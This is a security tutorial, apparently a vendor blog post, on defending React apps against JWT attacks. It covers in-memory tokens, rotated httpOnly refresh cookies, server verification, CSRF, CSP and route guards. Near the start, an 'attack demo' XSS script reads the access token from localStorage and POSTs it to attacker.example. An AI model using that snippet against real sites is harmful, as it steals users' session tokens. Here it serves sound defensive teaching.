JWT Attacks in React.js — what you’re really defending against

JWTs (JSON Web Tokens) are compact, signed tokens used to authenticate React SPAs with APIs. They’re convenient—but if implemented carelessly, JWT Vulnerability in React.js can lead to account takeover, session fixation, and replay. This post focuses on practical, minimal changes that close common gaps without rewriting your stack.

10 Best Defenses for JWT Attacks in React.js

Why this guide? This hands-on tutorial shows how JWT Attacks in React.js happen and how to stop them with production-ready patterns: safer storage, refresh-token rotation, strict cookie settings, server-side validation, route guards, CSP, and more. It also includes multiple coding examples to make your security fixes fast to adopt.


Threat model: the most common JWT Attacks in React.js

  1. Token theft via XSS
    Malicious scripts read localStorage/sessionStorage and exfiltrate your access_token.
  2. Replay attacks
    An attacker reuses a valid token if there’s no rotation, binding, or revocation.
  3. Weak token validation
    Missing aud, iss, exp, clock skew checks, or unverified signatures.
  4. Leaky refresh tokens
    Long-lived refresh tokens exposed in JavaScript-accessible storage or sent over insecure channels.
  5. CSRF with cookies
    If you move JWTs to cookies (good!), cross-site requests can still abuse them unless you add CSRF countermeasures.

Each of these aligns with real-world JWT Attacks in React.js that we’ll mitigate below.


Attack demo: how XSS steals tokens (and how to spot it)

If your React app stores tokens in localStorage, any XSS lets attackers read them:

<!-- Malicious payload injected through a vulnerable input or third-party widget -->
<script>
  // DO NOT COPY TO PRODUCTION – this is an attacker’s perspective
  const token = localStorage.getItem('access_token');
  if (token) {
    // exfiltrate token
    fetch('https://attacker.example/collect', {
      method: 'POST',
      mode: 'no-cors',
      body: token
    });
  }
</script>

Defense insight: prefer httpOnly, Secure, SameSite cookies for refresh tokens; keep access tokens short-lived and in memory (not persistent JS storage). This alone blocks a large class of JWT Attacks in React.js.


Safer storage pattern for JWT in React: memory + httpOnly cookie

Goal: Store access token in memory (volatile) and refresh token in httpOnly cookie (not readable by JS). The client silently refreshes access tokens using the cookie.

React: token store in memory (Context + axios/fetch interceptor)

// src/auth/tokenStore.tsx
import React, { createContext, useContext, useRef } from 'react';

type TokenStore = {
  getAccessToken: () => string | null;
  setAccessToken: (t: string | null) => void;
};

const TokenContext = createContext<TokenStore | null>(null);

export const TokenProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => {
  const accessRef = useRef<string | null>(null);
  const store: TokenStore = {
    getAccessToken: () => accessRef.current,
    setAccessToken: (t) => { accessRef.current = t; }
  };
  return <TokenContext.Provider value={store}>{children}</TokenContext.Provider>;
};

export const useTokenStore = () => {
  const ctx = useContext(TokenContext);
  if (!ctx) throw new Error('TokenProvider missing');
  return ctx;
};
// src/auth/axios.ts
import axios from 'axios';
import { useTokenStore } from './tokenStore';

export const createHttp = (store: ReturnType<typeof useTokenStore>) => {
  const http = axios.create({ baseURL: '/api', withCredentials: true }); // cookies allowed

  http.interceptors.request.use((config) => {
    const token = store.getAccessToken();
    if (token) config.headers.Authorization = `Bearer ${token}`;
    return config;
  });

  // Auto-refresh on 401
  http.interceptors.response.use(
    (r) => r,
    async (error) => {
      if (error.response?.status === 401) {
        try {
          // calls /auth/refresh, which reads refresh cookie (httpOnly)
          const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true });
          store.setAccessToken(data.accessToken);
          // retry the original request with new token
          error.config.headers.Authorization = `Bearer ${data.accessToken}`;
          return axios.request(error.config);
        } catch {
          store.setAccessToken(null);
          // redirect to login etc.
        }
      }
      throw error;
    }
  );

  return http;
};

Node/Express: issue short-lived access token + cookie refresh

// server/auth.ts
import express from 'express';
import cookieParser from 'cookie-parser';
import { SignJWT, jwtVerify, generateKeyPair } from 'jose';
import crypto from 'crypto';

const router = express.Router();
router.use(cookieParser());

const ACCESS_TTL = 5 * 60; // 5 minutes
const REFRESH_TTL = 7 * 24 * 60 * 60; // 7 days
const ISSUER = 'https://api.example.com';
const AUD = 'react-spa';

let privateKey: CryptoKey; let publicKey: CryptoKey;
(async () => {
  // In production load keys from KMS or env, don’t generate on boot
  ({ privateKey, publicKey } = await generateKeyPair('RS256'));
})();

const issueAccess = async (sub: string, jti = crypto.randomUUID()) =>
  await new SignJWT({ sub, jti })
    .setProtectedHeader({ alg: 'RS256' })
    .setIssuedAt()
    .setIssuer(ISSUER)
    .setAudience(AUD)
    .setExpirationTime(`${ACCESS_TTL}s`)
    .sign(privateKey);

const issueRefresh = () => crypto.randomUUID(); // store server-side with status=valid

// Mock DB
const refreshDb = new Map<string, { sub: string; used: boolean }>();

router.post('/login', async (req, res) => {
  // ...verify credentials...
  const sub = 'user:123';
  const refreshId = issueRefresh();
  refreshDb.set(refreshId, { sub, used: false });

  res.cookie('refresh_token', refreshId, {
    httpOnly: true, secure: true, sameSite: 'Strict', path: '/api/auth/refresh', maxAge: REFRESH_TTL * 1000
  });

  const accessToken = await issueAccess(sub);
  res.json({ accessToken });
});

router.post('/refresh', async (req, res) => {
  const refreshId = req.cookies['refresh_token'];
  const record = refreshDb.get(refreshId);
  if (!record || record.used) return res.sendStatus(401);

  // **Rotation**: invalidate old, issue new
  record.used = true;
  const newRefresh = issueRefresh();
  refreshDb.set(newRefresh, { sub: record.sub, used: false });

  res.cookie('refresh_token', newRefresh, {
    httpOnly: true, secure: true, sameSite: 'Strict', path: '/api/auth/refresh', maxAge: REFRESH_TTL * 1000
  });

  const accessToken = await issueAccess(record.sub);
  res.json({ accessToken });
});

router.post('/logout', (req, res) => {
  const refreshId = req.cookies['refresh_token'];
  if (refreshId) refreshDb.set(refreshId, { sub: '', used: true });
  res.clearCookie('refresh_token', { path: '/api/auth/refresh' });
  res.sendStatus(204);
});

export default router;

This pattern sharply reduces the blast radius of JWT Attacks because:

  • The access token isn’t persisted in JS-readable storage (XSS can’t trivially steal it).
  • The refresh token is httpOnly and rotated (replay is harder; theft invalidates prior token).
  • Cookies are Secure + SameSite=Strict.

Screenshot of our

Screenshot of the free tools webpage where you can access security assessment tools for different vulnerability detection.
Screenshot of the free tools webpage where you can access security assessment tools for different vulnerability detection.

Server-side verification that actually blocks JWT Attacks in React.js

Make sure your API rejects forged or expired tokens by validating signature, issuer, audience, time, and jti (if you track revocation):

// server/verify.ts
import { jwtVerify, createRemoteJWKSet } from 'jose';

const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
const ISSUER = 'https://api.example.com';
const AUD = 'react-spa';

export async function verifyAccessToken(bearer: string) {
  const token = bearer.replace(/^Bearer\s+/i, '');
  const { payload } = await jwtVerify(token, JWKS, {
    issuer: ISSUER,
    audience: AUD,
    maxTokenAge: '6m', // clock skew protection
  });
  // Optionally check jti not revoked, etc.
  return payload;
}

Tip: pin your JWKS host to HTTPS, handle key rotation, and block the none algorithm (libraries do this by default).


CSRF + cookies: complementary defenses (and a WordPress deep dive)

When you move JWTs into cookies to harden against JWT Attacks in React.js, also add CSRF protection for state-changing requests:

  • SameSite=Strict (or Lax if you need cross-site logins).
  • Double-submit or synchronizer tokens.
  • Custom header (e.g., X-CSRF-Token) verified server-side.

If you’re dealing with WordPress endpoints as part of your stack, our CSRF primer walks through practical mitigations:
👉 CSRF Prevention in WordPress


Route guards in React to reduce exploit surface

Guard private routes so stolen tokens can’t unlock everything indefinitely:

// src/routes/PrivateRoute.tsx
import { Navigate, Outlet } from 'react-router-dom';
import { useTokenStore } from '../auth/tokenStore';

export default function PrivateRoute() {
  const { getAccessToken } = useTokenStore();
  const token = getAccessToken();
  // Optionally decode & check exp
  const isAuthed = !!token;
  return isAuthed ? <Outlet /> : <Navigate to="/login" replace />;
}
// src/App.tsx
import { BrowserRouter, Routes, Route } from 'react-router-dom';
import PrivateRoute from './routes/PrivateRoute';
import Dashboard from './pages/Dashboard';
import Login from './pages/Login';

export default function App() {
  return (
    <BrowserRouter>
      <Routes>
        <Route element={<PrivateRoute />}>
          <Route path="/dashboard" element={<Dashboard />} />
        </Route>
        <Route path="/login" element={<Login />} />
      </Routes>
    </BrowserRouter>
  );
}

Proper route gating, plus short access-token TTLs and rotation, further contain JWT Attacks in React.js.


Content Security Policy (CSP) + sanitizer = fewer XSS footholds

Add a tight CSP and sanitize risky inputs to blunt the XSS vector behind many JWT Attacks in React.js:

<!-- index.html -->
<meta http-equiv="Content-Security-Policy"
  content="default-src 'self';
           script-src 'self';
           style-src 'self' 'unsafe-inline';
           img-src 'self' data:;
           connect-src 'self' https://api.example.com;
           object-src 'none';
           base-uri 'self';
           frame-ancestors 'none'">

And sanitize untrusted HTML:

// example using DOMPurify
import DOMPurify from 'dompurify';

export function safeHtml(dirty: string) {
  return { __html: DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } }) };
}

Bonus: binding tokens to client and stopping replays

Strengthen against replay-style JWT Attacks in React.js:

  • Rotate refresh tokens (shown above).
  • Consider DPoP or mutual TLS (if your ecosystem supports it).
  • Track jti in a DB; revoke on logout or suspicious use.
  • Add IP/UA anomaly detection on refresh endpoint (with care for NAT/CDN variability).

Sample Assessment report from our free tool to check Website Vulnerability

An example of a vulnerability assessment report generated with our free tool provides insights into possible vulnerabilities.
An example of a vulnerability assessment report generated with our free tool provides insights into possible vulnerabilities.

Developer cookbook: secure login + refresh, end-to-end

Login flow (React)

// src/auth/login.ts
import axios from 'axios';
import { useTokenStore } from './tokenStore';

export async function login(store: ReturnType<typeof useTokenStore>, email: string, password: string) {
  const { data } = await axios.post('/api/auth/login', { email, password }, { withCredentials: true });
  store.setAccessToken(data.accessToken); // memory only
}

Attach bearer automatically (fetch version)

// src/auth/fetchClient.ts
import { useTokenStore } from './tokenStore';

export function createFetch(store: ReturnType<typeof useTokenStore>) {
  return async (input: RequestInfo, init: RequestInit = {}) => {
    const token = store.getAccessToken();
    const headers = new Headers(init.headers || {});
    if (token) headers.set('Authorization', `Bearer ${token}`);
    const res = await fetch(input, { ...init, headers, credentials: 'include' });
    if (res.status === 401) {
      const refresh = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' });
      if (refresh.ok) {
        const { accessToken } = await refresh.json();
        store.setAccessToken(accessToken);
        headers.set('Authorization', `Bearer ${accessToken}`);
        return fetch(input, { ...init, headers, credentials: 'include' });
      }
    }
    return res;
  };
}

Server: strict cookie + CORS

// server/app.ts
import cors from 'cors';
import express from 'express';
import auth from './auth';

const app = express();
app.use(express.json());

app.use(cors({
  origin: 'https://your-react-origin.example', // exact origin
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token']
}));

app.use('/api/auth', auth);

app.listen(3000);

These patterns collectively minimize JWT Attacks in React.js and reduce the chance that one compromise turns into persistent account takeover.


Quick checklist to prevent JWT Attacks

  • Access token in memory; refresh token in httpOnly+Secure+SameSite cookie.
  • Short access token TTL; rotate refresh tokens on each use.
  • Validate signature, iss, aud, exp, nbf, jti on server.
  • CSRF tokens + Strict SameSite on mutating routes.
  • CSP + sanitizer; no unsafe third-party scripts.
  • Route guards; revoke on logout; detect anomalies.
  • Log and alert on suspicious refresh attempts.

This checklist directly addresses the core vectors behind JWT Attacks in React.js.


Related reads from Cybersrely (for continuous hardening)

These posts complement our defense strategy against JWT Attacks by reducing adjacent risks.


Service pages (backlinks & where to get help)

Managed IT & Security Operations

Need help operationalizing these controls at scale? Explore Managed IT Services for monitoring, patching, and incident response.

AI Application Cybersecurity

Building LLM/AI features? Secure model integrations, secrets, and data flows with AI Application Cybersecurity—including token redaction and abuse prevention.

Offer Cybersecurity to Your Clients

Agencies and consultancies can white-label our audits and scanners. See Offer Cybersecurity Service to Your Client.

Talk to Us

Questions about JWT Attacks in React.js or need a quick review? Contact Us.


Final note

You don’t need to rebuild your auth. Adopt one improvement at a time—start with memory-only access tokens and cookie-based refresh rotation—then layer CSP, CSRF, and server-side validation. That stepwise approach will measurably reduce JWT Attacks in React.js while keeping your React team productive.


Free Consultation

If you have any questions or need expert assistance, feel free to schedule a Free consultation with one of our security engineers>>

🔐 Frequently Asked Questions (FAQs)

Find answers to commonly asked questions about JWT Attacks in React.js.

Get a Quote

Leave a Comment

Your email address will not be published. Required fields are marked *